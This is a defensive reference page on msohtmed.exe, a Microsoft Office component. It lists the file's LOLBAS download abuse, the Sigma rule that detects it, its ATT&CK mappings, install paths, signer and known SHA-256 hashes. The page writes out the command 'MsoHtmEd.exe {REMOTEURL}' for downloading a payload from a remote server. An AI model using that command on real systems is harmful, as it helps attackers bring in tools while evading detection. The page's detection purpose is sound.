msohtmed.exe

Microsoft Office component file version info (xCyclopedia)

LOLBAS Download 1 Sigma rule name it 2 ATT&CK techniques 1 documented command 2 known copies with hashes

How msohtmed.exe is abused

documented by LOLBAS

Download T1105 Ingress Tool Transfer

Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for msohtmed.exe.

1 documented command

from LOLBAS, each read by the identifier

Download T1105 Ingress Tool Transfer User privileges

Downloads payload from remote server

MsoHtmEd.exe {REMOTEURL}

Identify

Trips 1 Sigma rule: mediumArbitrary File Download Via MSOHTMED.EXE by Nasreddine Bencherchali (Nextron Systems)

The command the identifier reads trips a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for msohtmed.exe, by Nir Chako, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for msohtmed.exe. The identifier reads it with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.

What detects it

Sigma process creation rules

mediumArbitrary File Download Via MSOHTMED.EXENasreddine Bencherchali (Nextron Systems)

T1105Ingress Tool Transfer

T1218System Binary Proxy Execution

Is it the real msohtmed.exe?

file version info and known copies

Installed inC:\Program Files (x86)\Microsoft Office\root\Office16\
C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\

Signed byMicrosoft Corporation

ProductMicrosoft Office, Microsoft Corporation

DescriptionMicrosoft Office component

2 known copies

16.0.12527.20482 · C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\MSOHTMED.EXE · signed by Microsoft Corporation

008fa6e5c37abf49b07e590b559819b26250d0230594362c88a5e4c9b92095bf

16.0.12527.20482 · C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE · signed by Microsoft Corporation

432f150264f1513b4deaa98fbc5e6370d774f57361ee52d0c2ddd33a2266a6a9

From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.